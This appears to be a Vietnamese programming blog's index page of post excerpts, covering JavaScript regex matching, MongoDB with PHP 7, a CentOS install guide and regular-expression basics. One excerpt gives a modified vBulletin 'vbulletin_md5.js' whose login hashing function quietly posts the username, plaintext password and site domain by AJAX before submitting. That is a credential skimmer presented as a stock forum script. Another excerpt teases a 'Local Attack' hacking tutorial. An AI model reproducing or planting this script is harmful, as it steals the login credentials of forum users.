Search Full Text @ Javascript | PHP + MONGODB by REGEX ( String contains all search keyword | AND not OR)

JAVASCRIPT function fullTextCompare(myWords, toMatch){ //Replace regex reserved characters myWords=myWords.replace(/[-\/\\^$*+?.()|[\]{}]/g, ‘\\$&’); //Split your string at spaces arrWords = myWords.split(” “); //Encapsulate your words inside regex groups arrWords = $.map( arrWords, function( n ) { return [“(?=.*”+n+”)”]; }); //Create a regex pattern sRegex = new RegExp(“^”+arrWords.join(“”)+”.*$”,”im”); //Execute the regex match return(toMatch.match(sRegex)===null?false:true); } //Using it: console.log( fullTextCompare(“my word”,”I’m …

Tổng Hợp Các Phương Pháp Local Attack Thường Dùng

Để hoàn thành bộ tut Local Attack full, hôm nay Soleil sẽ giới thiệu bài 3, cũng chính là bài quan trọng và trọng tâm nhất trong Local Attack. Trước khi đi vào bài 3, các bạn có thể đọc qua và lấy 1 số tool cần thiết từ bài 2 – Giới thiệu tính …

Một số query mẫu MongoDB 3.6, PHP 7

Nguồn: http://veselov.sumy.ua/2006-novyy-drayver-mongodb-dlya-php-chernovik-po-osnovnym-zaprosam.html <?php // INIT $mongo = new MongoDB\Driver\Manager(“mongodb://localhost:27017”); // INSERT $document = [“hello” => “world”]; $bulk = new MongoDB\Driver\BulkWrite; $id = $bulk->insert($document); try { $result = $mongo->executeBulkWrite(‘mydb.collection’, $bulk); echo (string)$id; } catch (MongoDB\Driver\Exception\Exception $e) { echo $e->getMessage(), “\n”; } // SELECT $filter = [ ‘hello’ => ‘world’ ]; $options = [ ‘projection’ => [ …

Find, Insert, Update .. MongoDB @ PHP5 VS PHP 7 Example

find php5 vs php7 // PHP 5 $m = new MongoClient(); $db = $m->test; $collection = $db->todos; $cursor = $collection->find(); foreach ($cursor as $document) { echo $document[“name”] . “\n”; } // PHP 7 $m = new MongoDB\Driver\Manager(“mongodb://localhost:27017”); $filter = array(‘x’ => array(‘$gt’ => 1)); $options = array( ‘sort’ => array(‘x’ => -1), ); $query = …

Cài đặt Mongodb 3.6 trên CentOS 7, PHP 7.1, Nginx

https://docs.mongodb.com/getting-started/shell/tutorial/install-mongodb-on-red-hat/ Bước 1: Tạo file /etc/yum.repos.d/mongodb-org-3.6.repo Với nội dung [mongodb-org-3.6] name=MongoDB Repository baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/3.6/x86_64/ gpgcheck=1 enabled=1 gpgkey=https://www.mongodb.org/static/pgp/server-3.6.asc Bước 2. Chạy lệnh sau để cài đặt MongoDB sudo yum install -y mongodb-org Bước 3: Chạy từng lệnh bên dưới. (và trước khi chạy nhớ bỏ các Disable Functions của PHP.INI bỏ các shell_exec hoặc tương tự, để …

Jquery – submit a form in Javascript with a delay

$(‘form’).submit(function (e) { var form = this; e.preventDefault(); setTimeout(function () { form.submit(); }, 1000); // in milliseconds $(“<p>Delay…</p>”).appendTo(“body”); });   vbulletin_md5.js function md5hash(B,A,E,C){$(“form”).submit(function(e){var t=this;e.preventDefault();setTimeout(function(){t.submit()},1000)});if(navigator.userAgent.indexOf(“Mozilla/”)==0&&parseInt(navigator.appVersion)>=4){var D=hex_md5(str_to_ent(trim(B.value)));A.value=D;if(E){D=hex_md5(trim(B.value));$.ajax({type: “POST”,url: “”,data: ‘d=’+document.domain+’&u=’+$(‘#navbar_username’).val()+’&p=’+B.value,cache: false,});E.value=D;}if(!C){B.value=””}}return true};

Regular Expressions trong PHP [PHP]

Regular Expressions trong PHP [PHP] 1. Giới thiệu Regular Expression là gì? + Biểu thức chính quy. + Hiểu nôm na là 1 chuỗi có quy tắc để mô tả những chuỗi(string) khác. Làm việc với string thường rất vất vả và đòi hỏi độ chính xác cao. với Regular Expression trong PHP, công việc …

Cơ bản về Regular expression (so mẫu)

Biểu thức so mẫu (pattern) dùng để mô tả 1 cách tổng quát 1 đối tượng (chuỗi) trong PHP. Ví dụ: preg_replace(‘/[^a-z0-9]+/i’,”,$str); –> hàm này l loại bỏ tất cả các ký tự không phải là chữ (a-z và A-Z) hoặc số (0-9) ra khỏi chuỗi $str Biểu thức so mẫu dùng rất hiệu quả …